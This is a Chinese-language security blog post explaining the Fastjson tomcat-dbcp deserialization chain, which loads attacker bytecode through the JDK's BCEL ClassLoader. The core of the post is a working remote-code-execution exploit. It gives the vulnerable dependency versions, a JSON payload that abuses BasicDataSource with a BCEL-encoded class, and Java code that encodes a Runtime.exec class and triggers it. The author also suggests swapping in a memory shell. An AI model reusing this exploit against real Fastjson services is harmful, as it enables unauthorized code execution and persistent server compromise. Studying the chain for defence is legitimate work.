Fastjson tomcat-dbcp链

这条链可直接回显,可以解决fastjson在内网的情况,因为很多实战的时候,fastjson的应用部署在内网,只映射一个端口出来,导致前面学习的jdbcRowImpl链的jndi利用不了,而TemplatesImpl链又因为有利用条件,用parseObject()方法时,需要加入Feature.SupportNonPublicField参数,就有了大佬们使用tomcat-dhcp链,而tomcat-dbcp依赖又是数据库依赖比较常见。而tomcat-dbcp是依赖$$BCEL$$的。

1、前置知识

1.1、BCEL

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bce

我们来看看我们今天的主角com.sun.org.apache.bcel.internal.util.ClassLoader,在jdk的rt.jar包里面

我们来看loadClass这个方法,获取class_name,判断开头是不是$$BCEL$$,是就调用createClass(class_name),然后通过

classname获取字节码,然后调用defineClass实例化我们的字节码。我们先看看createClass

  1. protected Class loadClass(String class_name, boolean resolve)
  2. throws ClassNotFoundException
  3. {
  4. Class cl = null;
  5. ......
  6. if(cl == null) {
  7. JavaClass clazz = null;
  8. /* Third try: Special request?
  9. */
  10. if(class_name.indexOf("$$BCEL$$") >= 0)
  11. clazz = createClass(class_name);
  12. else { // Fourth try: Load classes via repository
  13. if ((clazz = repository.loadClass(class_name)) != null) {
  14. clazz = modifyClass(clazz);
  15. }
  16. else
  17. throw new ClassNotFoundException(class_name);
  18. }
  19. if(clazz != null) {
  20. byte[] bytes = clazz.getBytes();
  21. cl = defineClass(class_name, bytes, 0, bytes.length);
  22. } else // Fourth try: Use default class loader
  23. cl = Class.forName(class_name);
  24. }
  25. if(resolve)
  26. resolveClass(cl);
  27. }
  28. classes.put(class_name, cl);
  29. return cl;
  30. }

createClass这个类就是把$$BCEL$$后面的字段赋值给real_name,然后通过Utility.decode将BCEL解码成字节码,然后解析字节码编程类,返回这个类,所以createClass就是获取class_name的$$BCEL$$的字节码转换成类

  1. protected JavaClass createClass(String class_name) {
  2. int index = class_name.indexOf("$$BCEL$$");
  3. String real_name = class_name.substring(index + 8);
  4. JavaClass clazz = null;
  5. try {
  6. byte[] bytes = Utility.decode(real_name, true);
  7. ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
  8. clazz = parser.parse();
  9. } catch(Throwable e) {
  10. e.printStackTrace();
  11. return null;
  12. }
  13. // Adapt the class name to the passed value
  14. ConstantPool cp = clazz.getConstantPool();
  15. ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
  16. Constants.CONSTANT_Class);
  17. ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
  18. Constants.CONSTANT_Utf8);
  19. name.setBytes(class_name.replace('.', '/'));
  20. return clazz;
  21. }

还有有一个点就是com.sun.org.apache.bcel.internal.classfile.Utility该类存储了bcel的加解密方法

  1. Utility.decode(String real_name, true)
  2. Utility.encode(byte[] bytes,, true)

最后poc的构造

我们可以通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块

2、POC分析

2.1、依赖

  1. <dependencies>
  2. <dependency>
  3. <groupId>com.alibaba</groupId>
  4. <artifactId>fastjson</artifactId>
  5. <version>1.2.24</version>
  6. </dependency>
  7. <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
  8. <dependency>
  9. <groupId>org.apache.tomcat</groupId>
  10. <artifactId>tomcat-dbcp</artifactId>
  11. <version>9.0.8</version>
  12. </dependency>
  13. </dependencies>

2.2、poc

  1. {
  2. {
  3. "x":{
  4. "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
  5. "driverClassLoader": {
  6. "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  7. },
  8. "driverClassName": "$$BCEL$$$l$8b$I$A$..."
  9. }
  10. }: "x"
  11. }

编写恶意代码类,并且编译成class文件,既字节码形式

  1. package com.akkacloud;
  2. import java.io.IOException;
  3. public class Calc {
  4. public Calc() throws IOException {
  5. Runtime.getRuntime().exec(" open /System/Applications/Calculator.app ");
  6. }
  7. }

  1. package com.akkacloud;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.JSONObject;
  4. import com.sun.org.apache.bcel.internal.Repository;
  5. import com.sun.org.apache.bcel.internal.classfile.JavaClass;
  6. import com.sun.org.apache.bcel.internal.classfile.Utility;
  7. import java.util.Arrays;
  8. class fastjson_dbcp {
  9. public static void main(String[] argv) throws Exception{
  10. JavaClass cls = Repository.lookupClass(Calc.class);
  11. //System.out.println(Arrays.toString(cls.getBytes()));
  12. String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
  13. System.out.println(code);
  14. String poc = "{\n" +
  15. " {\n" +
  16. " \"aaa\": {\n" +
  17. " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
  18. " \"driverClassLoader\": {\n" +
  19. " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
  20. " },\n" +
  21. " \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
  22. " }\n" +
  23. " }: \"bbb\"\n" +
  24. "}";
  25. System.out.println(poc);
  26. JSON.parse(poc);
  27. }
  28. }

最后说一句对jdk版本有要求,jdk1.8u251前可以成功

2.3、利用链

  1. BasicDataSource.getConnection()
  2. createDataSource()
  3. createConnectionFactory()

其实看到这个利用链,就知道传入我们的BasicDataSource类,会自动调用getter和setter方法,然后调用getConnection方法。我们在

getConnection打断点调试一下,可以看到我们在BasicDataSource里存入的恶意代码都已经存入,继续跟createDataSource

跟进发现,会判断dataSource是够为空,然后调用createConnectionFactory(就是创建链接工厂方法),继续跟进

到了这里就很清楚了,通过class.forName方法,使用我们自定义的classloder(com.sun.org.apache.bcel.internal.util.ClassLoader),获取该类

然后实例化该类,造成命令执行。

2.4、结束

旧版本的 tomcat-dbcp 对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource

  1. <!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
  2. <dependency>
  3. <groupId>org.apache.tomcat</groupId>
  4. <artifactId>dbcp</artifactId>
  5. <version>6.0.53</version>
  6. </dependency>

Tomcat 8.0以后采用org.apache.tomcat.dbcp.dbcp2.BasicDataSource

  1. <dependency>
  2. <groupId>org.apache.tomcat</groupId>
  3. <artifactId>tomcat-dbcp</artifactId>
  4. <version>9.0.8</version>
  5. </dependency>

我们可以通过传入内存马的Class字节码,达到回显的目的

参考

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

https://www.cnblogs.com/nice0e3/p/14949148.html#

Fastjson tomcat-dhcp链的更多相关文章

  1. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  2. C3P0反序列化链学习

    C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...

  3. Ubuntu server12.04安装JDK+Tomcat+mysql

    一.安装JDK 1.首先到官网上下载jdk-7u79-linux-x64.tar.gz. 2.将jdk-7u79-linux-x64.tar.gz拷贝到/usr/lib/jdk/目录下面,这里如果没有 ...

  4. Tomcat 系统架构与设计模式,第 2 部分: 设计模式分析(转载)

    简介: 这个分为两个部分的系列文章研究了 Apache Tomcat 服务器的系统架构以及其运用的很多经典设计模式.第 1 部分 分析了 Tomcat 的工作原理,第 2 部分将分析 Tomcat 中 ...

  5. Tomcat 系统架构与设计模式,第 2 部分: 设计模式分析

    门面设计模式 门面设计模式在 Tomcat 中有多处使用,在 Request 和 Response 对象封装中.Standard Wrapper 到 ServletConfig 封装中.Applica ...

  6. tomcat 系统架构与设计模式 第二部分 设计模式 转

    Tomcat 系统架构与设计模式,第 2 部分: 设计模式分析 许 令波, Java 开发工程师, 淘宝网 许令波,现就职于淘宝网,是一名 Java 开发工程师.对大型互联网架构设计颇感兴趣,并对一些 ...

  7. linux下安装tomcat,并设置自动启动

    在linux系统下,设置某个服务自启动的话,需要在/etc/rcX.d下挂载,还要在/etc/init.d/下写启动脚本的 在/etc/init.d/下新建一个文件tomcat(需要在root权限下操 ...

  8. Tomcat设计模式

    omcat 系统架构与设计模式,第 2 部分 设计模式分析 系列内容: 此内容是该系列 2 部分中的第 2 部分: Tomcat 系统架构与设计模式 门面设计模式 门面设计模式在 Tomcat 中有多 ...

  9. 【Tomcat】Tomcat相关设计模式分析

    门面模式 门面模式在 Tomcat 中有多处使用,在 Request 和 Response 对象封装中.Standard Wrapper 到 ServletConfig 封装中.Application ...

  10. 【Tomcat】Tomcat 系统架构与设计模式,第 2 部分: 设计模式分析

    这个分为两个部分的系列文章研究了 Apache Tomcat 服务器的系统架构以及其运用的很多经典设计模式.第 1 部分 分析了 Tomcat 的工作原理,第 2 部分将分析 Tomcat 中运用的许 ...

随机推荐

  1. 什么是BGP

    BGP概述 边界网关协议(BGP)是运行于TCP协议上的一种自治系统的路由协议. 是一种外部路由协议. AS概述 自治系统(AS),指的是同一个使用相同策略的设备的集合. 每个AS有自己位移的编号,不 ...

  2. Ajax的核心的对象是什么?

    Ajax的核心对象是XMLXMLHttpRequest 对象. XMLHttpRequest提供不重新加载页面的情况下更新网页,在页面加载后在客户端向服务器请求数据,在页面加载后在服务器端接受数据,在 ...

  3. 如何确保消息正确地发送至 RabbitMQ?如何确保消息接收方消费了消息?

    发送方确认模式 将信道设置成 confirm 模式(发送方确认模式),则所有在信道上发布的消息都会被指派一个唯一的 ID.一旦消息被投递到目的队列后,或者消息被写入磁盘后(可持久化的消息),信道会发送 ...

  4. Mybatis框架基础入门(六)--动态sql

    主要是通过mybatis提供的各种标签方法实现动态拼接sql. 1.if标签 <!-- 根据条件查询用户 --> <select id="queryUserByWhere& ...

  5. spring-boot-learning 日志相关

    sprint-boot 日志   市面上的日志框架: JUL.JCL.Jboss-logging.logback.log4j.log4j2.slf4j.... SpringBoot:底层是Spring ...

  6. String是最基本的数据类型吗?

    基本数据类型包括byte.int.char.long.float.double.boolean和short.java.lang.String类是final类型的,因此不可以继承这个类.不能修改这个类. ...

  7. 在 mapper 中如何传递多个参数?

    1.第一种: DAO 层的函数 public UserselectUser(String name,String area); 对应的 xml,#{0}代表接收的是 dao 层中的第一个参数,#{1} ...

  8. memcached 最大的优势是什么?

    Memcached 最大的好处就是它带来了极佳的水平可扩展性,特别是在一个巨大的 系统中.由于客户端自己做了一次哈希,那么我们很容易增加大量 memcached 到集群中.memcached 之间没有 ...

  9. IOC 初始化源代码阅读之我见

    由于本人的能力有限,只能说出自己的见解,如有错漏什么的,请大家批评指出.由于代码封装太多,这里只列出了我认为的部分最重要的代码,一些简单的封装代码,不在下面列出.由于代码太过于复杂,在本次博客中,只列 ...

  10. Docker最常用的镜像命令和容器命令

    一.镜像相关命令 官方文档:https://docs.docker.com/referenc 1.1查看镜像 [root@localhost ~]# docker images REPOSITORY ...